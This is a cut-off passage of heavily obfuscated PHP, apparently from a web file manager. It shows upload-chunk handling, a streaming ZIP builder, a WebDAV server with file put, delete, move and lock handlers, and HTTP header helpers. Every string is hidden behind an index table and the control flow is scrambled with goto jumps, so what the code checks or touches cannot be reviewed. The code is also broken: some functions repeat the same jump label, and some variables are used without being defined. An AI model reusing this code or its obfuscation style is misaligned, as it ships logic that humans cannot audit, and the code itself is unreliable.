$this->statusSet($Eý); } return $this->statusData; goto d죷˗; d죷˗: } public function statusSet($Aԍ) { $f = $this->tempFile . $_SERVER[ڊ][1960]; if (!$Aԍ) { if (file_exists($f)) { @unlink($f); } return !0; } $this->statusData = $Aԍ; return file_put_contents($f, serialize($Aԍ)); } private function initFileTemp() { $E =& $_SERVER[ڊ]; if (file_exists($this->tempFile)) { return; } $Eڇ = fopen($this->tempFile, $E[1961]); fseek($Eڇ, $this->in[$E[77]] - 1, SEEK_SET); fwrite($Eڇ, $E[464]); fclose($Eڇ); } public function checkChunk() { goto bᮢ; eݖ: $fюԴ = $this->statusGet(); CacheLock::unlock($this->tempFile); foreach ($fюԴ[$A׸[1948]] as $eɏ) { $B枝 = $eɏ[$A׸[161]]; if ($B枝) { $F[$A׸[1962] . $eɏ[$A׸[1028]]] = $B枝; } } goto D; D: return $F; goto aݶĽ; bᮢ: $A׸ =& $_SERVER[ڊ]; $F = array(); CacheLock::lock($this->tempFile); goto eݖ; aݶĽ: } private function checkChunkHash($fԫ) { goto fߩ; Dɑ: $eˎĎ = !0; foreach ($fԫ[$B٪[1948]] as $b) { fseek($f, $b[$B٪[1950]]); $a = PathDriverStream::hash($f, $b[$B٪[77]]); if ($b[$B٪[161]] != $a) { $eˎĎ = !1; break; } } fclose($f); goto Bؗ֋; Bؗ֋: return $eˎĎ; goto dԟ; D҄: $aʽ̦ = _get($this->in, $B٪[1963]); if (strlen($aʽ̦) == 32 && IO::hashSimple($this->tempFile) == $Aփ˃ && IO::hashMd5($this->tempFile) == $aʽ̦) { return !0; } $f = fopen($this->tempFile, $B٪[1157]); goto Dɑ; fߩ: $B٪ =& $_SERVER[ڊ]; if (count($fԫ[$B٪[1948]]) != $fԫ[$B٪[1947]]) { return !1; } $Aփ˃ = _get($this->in, $B٪[1955]); goto D҄; dԟ: } public static function fileName() { goto E퐑; cՂ: if (!empty($_FILES)) { $D = $D ? $D : $_FILES[$fŌ[164]][$fŌ[383]]; } $D = str_replace(array($fŌ[95], $fŌ[8]), array($fŌ[8], $fŌ[93]), trim($D)); if (!is_wap()) { return $D; } goto b㶋; E퐑: $fŌ =& $_SERVER[ڊ]; global $in; $D = isset($in[$fŌ[28]]) ? $in[$fŌ[28]] : $fŌ[33]; goto cՂ; b㶋: $bܵ犌 = strtotime($in[$fŌ[1964]]); $bܵ犌 = $bܵ犌 ? $bܵ犌 : time(); $c겚 = strtolower($D); goto e߰Ĉ; e߰Ĉ: if ($c겚 == $fŌ[1965] || $c겚 == $fŌ[1966]) { $D = date($fŌ[685], $bܵ犌) . $fŌ[70] . $in[$fŌ[77]] . $fŌ[1597]; } else { if ($c겚 == $fŌ[1967]) { $D = date($fŌ[685], $bܵ犌) . $fŌ[70] . $in[$fŌ[77]] . $fŌ[1968]; } } return $D; goto fȢ; fȢ: } private function errorInfo($dѯЛ) { $e =& $_SERVER[ڊ]; $f߆ = array($e[1969], $e[1970], $e[1971], $e[1972], $e[1973], $e[1974], $e[1975], $e[1976]); return $dѯЛ . $e[4] . $f߆[$dѯЛ]; } } class ZipMake { const VERSION = "\x30\x2e\x32\x2e\60"; const ZIP_VERSION = 10; const ZIP_VERSION_64 = 45; const METHOD_STORE = 0; const FILE_HEADER_SIGNATURE = 67324752; const CDR_FILE_SIGNATURE = 33639248; const CDR_EOF_SIGNATURE = 101010256; const DATA_DESCRIPTOR_SIGNATURE = 134695760; const ZIP64_CDR_EOF_SIGNATURE = 101075792; const ZIP64_CDR_LOCATOR_SIGNATURE = 117853008; public $files = array(); public $cdrOffset = 0; public $ofs = 0; protected $needHeaders; protected $outputName; public function __construct($A = null) { $c΄ =& $_SERVER[ڊ]; $this->outputStream = fopen($c΄[1977], $c΄[1213]); $this->outputName = $A; $this->needHeaders = !0; } public function addFile($C, $Dޕ) { goto C߬; F: $d鄫 = $this->addFileHeader($C, $Dٴ); $D = $C薈 = filesize($Dޕ); $b = fopen($Dޕ, $CڔՇ[1978]); goto c; fŗ: $this->addFileFooter($C, $Dٴ, $C, $D, $C薈, $d鄫); goto Cގ; c: while (!feof($b)) { $CÞ = fread($b, 1048576); $this->send($CÞ); } fclose($b); $C = hexdec(hash_file($CڔՇ[1979], $Dޕ)); goto fŗ; C߬: $CڔՇ =& $_SERVER[ڊ]; $C = $this->filterFilename($C); $Dٴ = static::METHOD_STORE; goto F; Cގ: } public function addFileFromStream($D, $bП޹Ӎ) { goto Bż; Dһ: fseek($bП޹Ӎ, 0, SEEK_END); $dՇƨ = $B = ftell($bП޹Ӎ); rewind($bП޹Ӎ); goto f; C: $this->addFileFooter($D, $AƼ, $f̋Ϩ, $dՇƨ, $B, $Dח); goto aن; f: $B鏉 = hash_init($_SERVER[ڊ][1979]); while (!feof($bП޹Ӎ)) { $fϫ = fread($bП޹Ӎ, 1048576); hash_update($B鏉, $fϫ); $this->send($fϫ); } $f̋Ϩ = hexdec(hash_final($B鏉)); goto C; Bż: $D = $this->filterFilename($D); $AƼ = static::METHOD_STORE; $Dח = $this->addFileHeader($D, $AƼ); goto Dһ; aن: } public function finish() { foreach ($this->files as $D) { $this->addCdrFile($D); } $this->addCdr64Eof(); $this->addCdr64Locator(); $this->addCdrEof(); $this->clear(); } protected function addFileHeader($a, $b) { goto bѐ; bѐ: $DǨ =& $_SERVER[ڊ]; $a = preg_replace($DǨ[1980], $DǨ[33], $a); $bٜ = strlen($a); goto b; b: $b = $this->dosTime(time()); $EߤǪ = array(array($DǨ[1981], static::FILE_HEADER_SIGNATURE), array($DǨ[1982], static::ZIP_VERSION_64), array($DǨ[1982], 8), array($DǨ[1982], $b), array($DǨ[1981], $b), array($DǨ[1981], 0), array($DǨ[1981], 4294967295), array($DǨ[1981], 4294967295), array($DǨ[1982], $bٜ), array($DǨ[1982], 32)); $fϯ = array(array($DǨ[1982], 1), array($DǨ[1982], 28), array($DǨ[1983], 0), array($DǨ[1983], 0), array($DǨ[1983], 0), array($DǨ[1981], 0)); goto aȍ; aȍ: $b݂ = $this->packFields($EߤǪ); $dǑ = $this->packFields($fϯ); $this->send($b݂ . $a . $dǑ); goto eœɧ; eœɧ: return strlen($b݂) + $bٜ + strlen($dǑ); goto C; C: } protected function addFileFooter($D璬, $Cט, $e, $cݮ, $E, $b) { $aݺ =& $_SERVER[ڊ]; $E͵ = array(array($aݺ[1981], static::DATA_DESCRIPTOR_SIGNATURE), array($aݺ[1981], $e), array($aݺ[1983], $cݮ), array($aݺ[1983], $E)); $fא = $this->packFields($E͵); $this->send($fא); $Eձ = $b + $cݮ + $Dܪ; $this->addToCdr($D璬, $Cט, $e, $cݮ, $E, $Eձ); } private function addToCdr($Bֶ, $eث, $F, $B, $e􂸈, $aٌ鄄) { $this->files[] = array($Bֶ, $eث, $F, $B, $e􂸈, $this->ofs); $this->ofs += $aٌ鄄; } protected function addCdrFile($bݪ) { goto b㟄; b: $c͈ = $this->dosTime(time()); $eʿ = array(array($Bޏɺ[1981], static::CDR_FILE_SIGNATURE), array($Bޏɺ[1982], static::ZIP_VERSION_64), array($Bޏɺ[1982], static::ZIP_VERSION_64), array($Bޏɺ[1982], 8), array($Bޏɺ[1982], $eȄ), array($Bޏɺ[1981], $c͈), array($Bޏɺ[1981], $b͑), array($Bޏɺ[1981], 4294967295), array($Bޏɺ[1981], 4294967295), array($Bޏɺ[1982], strlen($F늩ؤ)), array($Bޏɺ[1982], 32), array($Bޏɺ[1982], strlen($c)), array($Bޏɺ[1982], 0), array($Bޏɺ[1982], 0), array($Bޏɺ[1981], 32), array($Bޏɺ[1981], 4294967295)); $a = array(array($Bޏɺ[1982], 1), array($Bޏɺ[1982], 28), array($Bޏɺ[1983], $e), array($Bޏɺ[1983], $Fݶ), array($Bޏɺ[1983], $d˽ق), array($Bޏɺ[1981], 0)); goto BԲ; b㟄: $Bޏɺ =& $_SERVER[ڊ]; list($F늩ؤ, $eȄ, $b͑, $Fݶ, $e, $d˽ق) = $bݪ; $c = $Bޏɺ[33]; goto b; BԲ: $e驷Σ = $this->packFields($eʿ); $f•脾 = $this->packFields($a); $f = $e驷Σ . $F늩ؤ . $c . $f•脾; goto c܄ס; c܄ס: $this->send($f); $this->cdr_ofs += strlen($f); goto eܐŭ; eܐŭ: } protected function addCdr64Eof() { goto C䨦; e: $this->send($a趚); goto fś; C䨦: $Dѱ =& $_SERVER[ڊ]; $C֐ = count($this->files); $bڇՑ = $this->cdr_ofs; goto bლً; bლً: $f = $this->ofs; $D = array(array($Dѱ[1981], static::ZIP64_CDR_EOF_SIGNATURE), array($Dѱ[1983], 44), array($Dѱ[1982], static::ZIP_VERSION_64), array($Dѱ[1982], static::ZIP_VERSION_64), array($Dѱ[1981], 0), array($Dѱ[1981], 0), array($Dѱ[1983], $C֐), array($Dѱ[1983], $C֐), array($Dѱ[1983], $bڇՑ), array($Dѱ[1983], $f)); $a趚 = $this->packFields($D); goto e; fś: } protected function addCdr64Locator() { goto Eٍ; CЅ: $dב = $this->ofs; $A = array(array($a܆[1981], static::ZIP64_CDR_LOCATOR_SIGNATURE), array($a܆[1981], 0), array($a܆[1983], $dב + $fԫ), array($a܆[1981], 1)); $E׿ß = $this->packFields($A); goto d; d: $this->send($E׿ß); goto eն; Eٍ: $a܆ =& $_SERVER[ڊ]; $E͘ʥ = count($this->files); $fԫ = $this->cdr_ofs; goto CЅ; eն: } protected function addCdrEof() { goto D; D: $E֋ =& $_SERVER[ڊ]; $B = count($this->files); $B = $this->cdr_ofs; goto eˉǨ; eˉǨ: $A = $this->ofs; $ȧ = $E֋[33]; $eǴ = array(array($E֋[1981], static::CDR_EOF_SIGNATURE), array($E֋[1982], 0), array($E֋[1982], 0), array($E֋[1982], $B), array($E֋[1982], $B), array($E֋[1981], 4294967295), array($E֋[1981], 4294967295), array($E֋[1982], strlen($ȧ))); goto D; D: $D = $this->packFields($eǴ) . $ȧ; $this->send($D); goto b̳; b̳: } protected function addCdr() { foreach ($this->files as $FҾݹ) { $this->addCdrFile($FҾݹ); } $this->addCdrEof(); } protected function clear() { $this->files = array(); $this->ofs = 0; $this->cdr_ofs = 0; } protected function sendHttpHeaders() { $Eѥɥ =& $_SERVER[ڊ]; $F႓ = $Eѥɥ[199]; if ($this->outputName) { $E̜Ն = trim(str_replace(array($Eѥɥ[113], $Eѥɥ[55], $Eѥɥ[95], $Eѥɥ[67], $Eѥɥ[214], $Eѥɥ[984]), $Eѥɥ[33], $this->outputName)); $A劲 = rawurlencode($E̜Ն); $F႓ .= "\x3b\x20\x66\151\154\x65\x6e\x61\155\x65\52\75\x75\x74\146\55\70\47\47{$A劲}"; } $Bĉ = array($Eѥɥ[196] => $Eѥɥ[1984], $Eѥɥ[1985] => $F႓, $Eѥɥ[1986] => $Eѥɥ[1987], $Eѥɥ[1988] => $Eѥɥ[1989], $Eѥɥ[1990] => $Eѥɥ[1991]); foreach ($Bĉ as $fиӾ => $Cό) { header($fиӾ . $Eѥɥ[874] . $Cό); } } protected function send($CȲ) { if ($this->needHeaders) { $this->sendHttpHeaders(); } $this->needHeaders = !1; fwrite($this->outputStream, $CȲ); } protected final function dosTime($c﹎ە) { $dǯ =& $_SERVER[ڊ]; $d詂 = getdate($c﹎ە); if ($d詂[$dǯ[1694]] < 1980) { $d詂 = array($dǯ[1694] => 1980, $dǯ[1992] => 1, $dǯ[1993] => 1, $dǯ[1994] => 0, $dǯ[1995] => 0, $dǯ[1996] => 0); } $d詂[$dǯ[1694]] -= 1980; return $d詂[$dǯ[1694]] << 25 | $d詂[$dǯ[1992]] << 21 | $d詂[$dǯ[1993]] << 16 | $d詂[$dǯ[1994]] << 11 | $d詂[$dǯ[1995]] << 5 | $d詂[$dǯ[1996]] >> 1; } protected function packFields($e̓ƫ) { $cè˜ =& $_SERVER[ڊ]; $b = $cè˜[33]; $Eϰ = array(); foreach ($e̓ƫ as $fؼ) { $b .= $fؼ[0]; $Eϰ[] = $fؼ[1]; } array_unshift($Eϰ, $b); return call_user_func_array($cè˜[1997], $Eϰ); } protected function filterFilename($f؟) { $fݺ =& $_SERVER[ڊ]; return str_replace(array($fݺ[95], $fݺ[4], $fݺ[173], $fݺ[69], $fݺ[113], $fݺ[919], $fݺ[922], $fݺ[268]), $fݺ[70], $f؟); } } class ZipStream { } goto F; e: class HttpDavServer { public function __construct($E, $c) { $this->root = $E; $this->initPath($c); $this->start(); } public function initPath($Aò) { $f̈́ =& $_SERVER[ڊ]; $D = rtrim($_SERVER[$f̈́[1360]], $f̈́[8]) . $f̈́[8]; $this->urlBase = substr($D, 0, strpos($D, $Aò) + 1); $this->urlBase = rtrim($this->urlBase, $f̈́[8]) . $Aò; $this->path = $this->parsePath($this->pathGet()); } public function checkUser() { $fïͪ =& $_SERVER[ڊ]; $Cո = HttpAuth::get(); if ($Cո[$fïͪ[531]] == $fïͪ[1752] && $Cո[$fïͪ[891]] == $fïͪ[1753]) { return !0; } HttpAuth::error(); } public function start() { goto D; D: $c߃Ϝ =& $_SERVER[ڊ]; $this->checkUser(); $b삺 = $c߃Ϝ[143] . HttpHeader::method(); goto dċޢ; D̠: if (!$Eˮې) { return; } self::response($Eˮې); goto f; dċޢ: if (!method_exists($this, $b삺)) { pr($b삺 . $c߃Ϝ[1754]); die; } $d = array($c߃Ϝ[1755], $c߃Ϝ[1756]); if (!in_array($b삺, $d) && !$this->pathExists($this->path)) { $Eˮې = array($c߃Ϝ[1024] => 404); } else { $Eˮې = $this->{$b삺}(); } goto D̠; f: } public function pathGet($e۞ = false) { $dĩν =& $_SERVER[ڊ]; $B֐ = $e۞ ? $_SERVER[$dĩν[1757]] : $_SERVER[$dĩν[1360]]; $B֐ = KodIO::clear(rawurldecode($B֐)); if (!strstr($B֐, KodIO::clear($this->urlBase))) { return !1; } return substr($B֐, strpos($B֐, $this->urlBase) + strlen($this->urlBase)); } public function pathExists($B) { return file_exists($B); } public function pathMkdir($e) { return mkdir($e, 511, !0); } public function pathInfo($D§) { return path_info($D§); } public function pathList($cՍ) { return path_list($cՍ); } public function pathOut($D) { echo file_get_contents($D); } public function pathPut($Aƨ, $alj = '') { if (!$alj) { return file_put_contents($Aƨ, $_SERVER[ڊ][33]); } return move_path($alj, $Aƨ); } public function pathRemove($D) { if (is_file($D)) { return @unlink($this->path); } else { return del_dir($this->path); } } public function pathMove($C, $e) { return move_path($C, $e); } public function pathCopy($B菄, $dҲ) { return copy_dir($B菄, $dҲ); } public function parsePath($dЄ) { return $dЄ; } public function parseItem($aʋʤ, $d׫) { goto d; d: $Cáэ =& $_SERVER[ڊ]; $f󼹒 = $this->pathGet() . $Cáэ[8] . $aʋʤ[$Cáэ[28]]; $f󼹒 = $Cáэ[8] . str_replace($Cáэ[169], $Cáэ[8], rawurlencode($f󼹒)); goto Dؒǂ; Dؒǂ: if ($d׫) { $f󼹒 = $Cáэ[8] . str_replace($Cáэ[169], $Cáэ[8], rawurlencode($this->pathGet())); } if (!trim($aʋʤ[$Cáэ[107]])) { $aʋʤ[$Cáэ[107]] = time(); } if (!trim($aʋʤ[$Cáэ[184]])) { $aʋʤ[$Cáэ[184]] = time(); } goto Cĵ; Cĵ: $Fȏ = array($Cáэ[1758] => KodIO::clear($this->urlBase . $f󼹒), $Cáэ[107] => @gmdate($Cáэ[1759], $aʋʤ[$Cáэ[107]]), $Cáэ[184] => @gmdate($Cáэ[1760], $aʋʤ[$Cáэ[184]]), $Cáэ[77] => $aʋʤ[$Cáэ[77]] ? $aʋʤ[$Cáэ[77]] : 0); return $Fȏ; goto d; d: } public function parseItemXml($CÇ, $F기) { $A =& $_SERVER[ڊ]; $fҒ = $this->parseItem($CÇ, $F기); if ($CÇ[$A[29]] == $A[76]) { $A = $A[1761]; $A .= $A[1762]; } else { $D = $CÇ[$A[157]] ? $CÇ[$A[157]] : get_path_ext($CÇ[$A[28]]); $Cɻɞ = get_file_mime($D); $A = $A[1763]; $A .= "\x3c\x44\72\x67\145\164\x63\x6f\156\x74\x65\x6e\x74\x74\x79\160\x65\x3e{$Cɻɞ}\74\57\104\72\147\145\164\143\157\156\x74\145\156\x74\164\x79\160\x65\76"; } return "\xa\x9\11\x3c\104\72\162\145\x73\160\157\x6e\163\145\x3e\xa\11\11\11\x3c\104\x3a\x68\162\x65\x66\76{$fҒ[$A[1758]]}\x3c\57\x44\x3a\150\x72\145\x66\x3e\12\x9\x9\11\74\x44\72\x70\162\x6f\160\x73\x74\141\164\x3e\12\x9\x9\x9\11\74\104\72\x70\x72\x6f\x70\x3e\xa\x9\x9\11\x9\x9\74\104\72\147\145\x74\x6c\141\x73\164\x6d\x6f\x64\151\x66\x69\x65\144\76{$fҒ[$A[107]]}\x3c\x2f\104\x3a\x67\x65\164\x6c\141\x73\x74\x6d\x6f\x64\151\146\x69\145\144\76\xa\11\11\11\x9\x9\74\104\x3a\x63\x72\x65\141\x74\x69\x6f\x6e\x64\141\x74\145\x3e{$fҒ[$A[184]]}\74\x2f\x44\72\x63\162\x65\x61\164\151\x6f\x6e\x64\x61\164\x65\76\12\11\x9\x9\11\11\74\x44\x3a\x67\x65\164\143\157\156\x74\145\x6e\x74\x6c\x65\x6e\x67\164\150\76{$fҒ[$A[77]]}\74\x2f\104\x3a\x67\145\164\143\x6f\156\x74\145\x6e\x74\x6c\x65\x6e\x67\x74\x68\x3e\xa\11\x9\11\x9\11{$A}\xa\11\11\x9\x9\74\57\x44\x3a\160\162\157\160\x3e\xa\11\11\x9\11\74\104\72\163\x74\x61\164\165\x73\x3e\x48\124\x54\x50\x2f\x31\56\61\x20\x32\60\x30\x20\117\113\74\57\x44\72\x73\x74\141\x74\165\x73\x3e\xa\x9\x9\11\74\x2f\x44\x3a\x70\x72\157\x70\163\164\x61\164\x3e\12\11\11\74\57\104\x3a\162\x65\163\160\157\156\x73\145\76"; } public function pathListMerge($F) { goto aǥ; Cɘ: return $Eڬ̱ʘ; goto F¦; aǥ: $f =& $_SERVER[ڊ]; if (!$F) { return $F; } $A򌷆 = array($f[73], $f[74], $f[1764]); goto f͎; f͎: $Eڬ̱ʘ = array(); foreach ($F as $c먷 => $Eϯ싥) { if (!in_array($c먷, $A򌷆) || !is_array($Eϯ싥)) { continue; } $Eڬ̱ʘ = array_merge($Eڬ̱ʘ, $Eϯ싥); } foreach ($Eڬ̱ʘ as &$fᴋ) { $fᴋ[$f[28]] = str_replace($f[8], $f[1362], $fᴋ[$f[28]]); } goto Cɘ; F¦: } public function httpPROPFIND() { goto F; F: $D = $dɽ[$b[1765]]; if (!is_array($f󄅫) || $D[$b[1766]] === !1) { return array($b[1767] => 404, $b[1768] => $b[1769]); } $aİ = $D[$b[29]] == $b[164] || HttpHeader::get($b[1744]) == $b[464]; goto bׄ; bׄ: if ($aİ) { $f󄅫 = array($D); } else { $D[$b[28]] = $b[33]; $f󄅫 = array_merge(array($D), $f󄅫); } $F޾ = $b[33]; foreach ($f󄅫 as $Bʯ؝) { $F޾ .= $this->parseItemXml($Bʯ؝, $aİ); } goto C⬱; F: $b =& $_SERVER[ڊ]; $dɽ = $this->pathList($this->path); $f󄅫 = $this->pathListMerge($dɽ); goto F; C⬱: return array($b[1767] => 207, $b[1768] => "\74\104\72\155\165\154\164\151\x73\x74\x61\164\165\x73\40\170\x6d\x6c\156\163\x3a\104\75\42\x44\101\x56\72\42\x3e\12{$F޾}\xa\x3c\57\104\72\x6d\x75\x6c\x74\151\163\164\141\x74\165\x73\76"); goto E; E: } public function httpHEAD() { $C =& $_SERVER[ڊ]; $CܛՑ = $this->pathInfo($this->path); if (!$CܛՑ || $CܛՑ[$C[29]] == $C[76]) { return array($C[1024] => 200, $C[1194] => array($C[1770])); } return array($C[1024] => 200, $C[1194] => array($C[1771], $C[136], $C[1772] . $CܛՑ[$C[77]], $C[1773] . get_file_mime($CܛՑ[$C[157]]), $C[132] . gmdate($C[1759], $CܛՑ[$C[1241]]) . $C[1774], $C[1775])); } public function httpOPTIONS() { $aȱʾ =& $_SERVER[ڊ]; return array($aȱʾ[1024] => 200, $aȱʾ[1194] => array($aȱʾ[1776], $aȱʾ[1777], $aȱʾ[1778], $aȱʾ[1250])); } public function httpPROPPATCH() { $fֱ =& $_SERVER[ڊ]; $E׳ = $fֱ[1779] . $_SERVER[$fֱ[1360]] . $fֱ[1780]; return array($fֱ[1767] => 207, $fֱ[1768] => "\74\104\x3a\155\165\x6c\x74\151\163\x74\x61\164\165\x73\40\x78\x6d\x6c\156\x73\x3a\104\75\42\x44\x41\x56\x3a\42\x3e\xa{$E׳}\xa\74\57\104\72\x6d\165\x6c\164\x69\x73\164\x61\x74\x75\x73\76"); } public function httpGET() { $this->pathOut($this->path); } public function httpPUT() { $D¶ =& $_SERVER[ڊ]; $a֎ = $this->uploadFile(); if ($a֎) { $EɆӑ = 204; } else { $a֎ = $D¶[33]; $EɆӑ = 201; } $D竤 = $this->pathPut($this->path, $a֎); if ($D竤 == !1) { $EɆӑ = 404; } return array($D¶[1767] => $EɆӑ); } private function uploadFile() { goto E쓆; DѴ: while (!feof($c)) { fwrite($bն, fread($c, 1024 * 200)); } fclose($c); fclose($bն); goto f㹌; AԚ: $bն = @fopen($A֑ϥ, $c[1489]); $c = @fopen($c[1782], $c[1488]); if (!$c || !$bն) { @unlink($A֑ϥ); return !1; } goto DѴ; f㹌: if (@filesize($A֑ϥ) > 0) { return $A֑ϥ; } @unlink($A֑ϥ); return !1; goto EŮ; E쓆: $c =& $_SERVER[ڊ]; @mk_dir(TEMP_FILES); $A֑ϥ = TEMP_FILES . $c[1781] . rand_string(32); goto AԚ; EŮ: } public function httpMKCOL() { $C𻏴 =& $_SERVER[ڊ]; if ($this->pathExists($this->path)) { return array($C𻏴[1024] => 409); } $cΐ֙ = $this->pathMkdir($this->path); return array($C𻏴[1024] => $cΐ֙ ? 201 : 403); } public function httpMOVE() { $f񘿒 =& $_SERVER[ڊ]; $E = $this->parsePath($this->pathGet(!0)); if (isset($_SERVER[$f񘿒[1783]])) { $bÙ[$f񘿒[1784]] = $_SERVER[$f񘿒[1783]] == $f񘿒[1785]; } $a = $this->pathMove($this->path, $E); return array($f񘿒[1024] => $a ? 201 : 404); } public function httpCOPY() { $Cnj = $this->parsePath($this->pathGet(!0)); $Cک螅 = $this->pathCopy($this->path, $Cnj); return array($_SERVER[ڊ][1024] => $Cک螅 ? 201 : 404); } public function httpDELETE() { $D = $this->pathRemove($this->path); return array($_SERVER[ڊ][1024] => $D ? 200 : 503); } public function httpLOCK() { $eګɎ =& $_SERVER[ڊ]; $eǐ = md5($this->path); $DԂ؋ = $eګɎ[1786] . $this->xmlGet($eګɎ[1787]) . $eګɎ[1788] . $eǐ . $eګɎ[1789]; return array($eګɎ[1024] => 200, $eګɎ[1194] => array($eګɎ[1790] . $eǐ, $eګɎ[1791]), $eګɎ[1792] => $DԂ؋); } public function httpUNLOCK() { return array($_SERVER[ڊ][1024] => 204); } public function xmlGet($FטĿ) { goto f; B: $Dۋ = array_shift(explode($fґ[8], $FטĿ)); $Bƨ = $bꑮ->getElementsByTagNameNS($fґ[1794], $Dۋ); if ($Bƨ) { return $Bƨ[0]->nodeValue; } goto b; f: $fґ =& $_SERVER[ڊ]; static $bꑮ = false; if (!$bꑮ) { $A˿ = file_get_contents($fґ[1793]); $bꑮ = new DOMDocument(); $bꑮ->loadXML($A˿); } goto B; b: return $fґ[33]; goto aς; aς: } public static function response($d֫) { goto CˈŽ; DÜ͏: $Eߍ[] = $D򘙡[1734]; $Eߍ[] = $D򘙡[1735]; foreach ($Eߍ as $a) { header($a); } goto A͎; CˈŽ: $D򘙡 =& $_SERVER[ڊ]; $Eߍ = is_array($d֫[$D򘙡[1194]]) ? $d֫[$D򘙡[1194]] : array(); $Eߍ[] = HttpHeader::code($d֫[$D򘙡[1024]]); goto DÜ͏; A͎: if (is_string($d֫[$D򘙡[1792]])) { header($D򘙡[1795]); $d˳ = $D򘙡[1796] . $D򘙡[214] . $d֫[$D򘙡[1792]]; echo $d˳; } goto Bֳ; Bֳ: } } class HttpHeader { public static $_headers = array("\x48\x6f\x73\164" => "\110\124\x54\120\137\110\x4f\x53\124", "\125\x73\145\x72\55\x41\x67\x65\x6e\x74" => "\110\124\x54\x50\137\x55\123\x45\122\137\101\107\x45\x4e\124", "\x43\157\156\164\x65\x6e\164\55\x54\171\160\x65" => "\110\x54\x54\x50\137\x43\x4f\x4e\x54\x45\116\124\x5f\124\131\120\x45", "\x43\x6f\156\164\x65\x6e\164\x2d\114\145\156\x67\x74\x68" => "\110\124\124\x50\137\x43\x4f\116\124\x45\x4e\x54\x5f\x4c\x45\116\x47\x54\x48", "\x44\145\160\x74\x68" => "\110\124\124\x50\137\104\105\x50\x54\x48", "\x45\x78\160\x65\143\164" => "\110\x54\124\x50\x5f\x45\130\x50\x45\x43\x54", "\111\x66\x2d\x4e\x6f\156\x65\55\x4d\141\164\143\150" => "\110\x54\124\120\137\111\106\x5f\x4e\x4f\116\105\137\x4d\101\x54\x43\x48", "\111\146\x2d\x4d\x61\x74\x63\150" => "\x48\124\x54\120\137\111\106\x5f\115\x41\124\103\110", "\x49\x66\55\x52\141\156\x67\145" => "\110\x54\x54\x50\x5f\x49\106\137\x52\x41\116\107\x45", "\x4c\141\163\x74\55\115\x6f\x64\x69\x66\x69\145\144" => "\110\x54\x54\x50\137\x4c\101\123\x54\x5f\x4d\117\x44\111\106\111\x45\x44", "\111\146\55\x4d\x6f\144\x69\x66\x69\x65\x64\x2d\x53\151\x6e\143\x65" => "\110\124\124\x50\x5f\x49\x46\137\x4d\x4f\104\x49\x46\111\105\x44\x5f\123\111\x4e\103\x45", "\111\146\x2d\x55\156\x6d\157\144\151\x66\151\x65\x64\x2d\x53\x69\156\143\x65" => "\x48\x54\x54\x50\137\111\106\137\x55\116\x4d\117\104\x49\106\111\105\104\x5f\123\x49\116\103\x45", "\x52\141\156\x67\145" => "\110\124\x54\120\137\x52\x41\116\x47\x45", "\124\x69\155\x65\157\x75\164" => "\x48\124\x54\x50\137\x54\x49\115\x45\117\x55\124", "\111\x66" => "\x48\x54\124\120\x5f\111\x46", "\x4c\157\x63\153\55\x54\157\153\x65\156" => "\x48\124\x54\x50\137\114\117\x43\113\x5f\x54\x4f\x4b\x45\116", "\x4f\x76\145\162\x77\x72\x69\164\x65" => "\110\x54\x54\x50\x5f\117\126\105\122\127\x52\111\124\105", "\x44\x65\163\164\151\156\x61\x74\151\157\x6e" => "\110\x54\124\x50\x5f\104\105\x53\x54\111\116\101\124\x49\x4f\x4e", "\122\145\161\165\x65\163\x74\x2d\x49\x64" => "\x52\105\x51\x55\x45\123\124\x5f\x49\x44", "\122\x65\161\165\x65\163\164\x2d\102\x6f\144\x79\x2d\106\x69\x6c\145" => "\x52\x45\121\125\x45\x53\124\x5f\102\117\104\131\137\x46\111\114\x45", "\122\x65\144\151\162\145\x63\x74\55\x53\164\141\164\165\163" => "\122\105\x44\x49\122\x45\103\124\137\x53\x54\101\x54\125\123"); public static function init() { static $E΅巆 = false; if ($E΅巆) { return; } foreach ($_SERVER as $a => $eƂɔ) { $a = strtoupper($a); if (!array_key_exists($a, $_SERVER)) { continue; } $_SERVER[$a] = $eƂɔ; } foreach (self::$_headers as $a => $Aؖ) { if (!array_key_exists($a, $_SERVER)) { continue; } $_SERVER[$a] = $_SERVER[$Aؖ]; $_SERVER[strtoupper($a)] = $_SERVER[$Aؖ]; } } public static function get($fԧ) { self::init(); return $_SERVER[$fԧ] ? $_SERVER[$fԧ] : $_SERVER[$_SERVER[ڊ][1797] . strtoupper($fԧ)]; } public static function method() { return strtoupper(self::get($_SERVER[ڊ][151])); } public static function length() { $CԑŮ =& $_SERVER[ڊ]; $D = self::get($CԑŮ[1798]); if (!$D) { $D = self::get($CԑŮ[1130]); } return $D; } public static function range() { $E͇ =& $_SERVER[ڊ]; $d = self::get($E͇[195]); if (!$d) { return !1; } if (!preg_match($E͇[1799], $d, $aі)) { return !1; } if ($aі[1] === $E͇[33] && $aі[2] === $E͇[33]) { return !1; } return array($aі[1] !== $E͇[33] ? $aі[1] : null, $aі[2] !== $E͇[33] ? $aі[2] : null); } public static $statusCode = array("\61\x30\x30" => "\103\x6f\156\164\x69\x6e\165\x65", "\61\x30\61" => "\x53\167\x69\x74\143\150\151\156\x67\x20\x50\x72\x6f\164\157\143\x6f\x6c", "\x31\x30\x32" => "\120\x72\x6f\x63\x65\163\x73\x69\156\147", "\61\60\63" => "\105\x61\162\154\171\40\x48\151\x6e\x74\x73", "\x32\60\60" => "\x4f\113", "\62\x30\x31" => "\103\162\x65\141\164\145\x64", "\x32\x30\62" => "\x41\143\143\145\160\164\145\x64", "\62\60\63" => "\116\x6f\156\55\101\165\164\150\x6f\162\x69\164\x61\164\x69\166\145\40\111\x6e\146\157\162\155\x61\164\x69\x6f\x6e", "\x32\x30\64" => "\x4e\x6f\40\103\x6f\x6e\164\145\156\164", "\x32\60\x35" => "\x52\x65\163\145\x74\x20\103\x6f\156\x74\145\x6e\164", "\x32\x30\66" => "\120\x61\162\164\151\141\154\x20\x43\157\x6e\x74\145\x6e\164", "\62\60\67" => "\x4d\x75\154\x74\x69\x2d\x53\x74\x61\x74\x75\163", "\x33\60\60" => "\115\165\154\164\151\x70\x6c\x65\x20\x43\x68\x6f\151\143\x65\163", "\63\60\x31" => "\x4d\x6f\x76\x65\144\x20\x50\145\x72\x6d\x61\x6e\x65\156\164\x6c\x79", "\x33\x30\x32" => "\x46\157\165\x6e\x64", "\63\60\63" => "\123\145\145\40\x4f\x74\x68\145\162", "\63\x30\x34" => "\116\157\164\40\x4d\157\x64\x69\146\151\145\144", "\63\x30\x35" => "\125\163\x65\40\120\x72\157\x78\x79", "\63\x30\67" => "\124\145\155\160\157\162\x61\x72\171\x20\122\145\x64\151\162\145\x63\164", "\x33\60\70" => 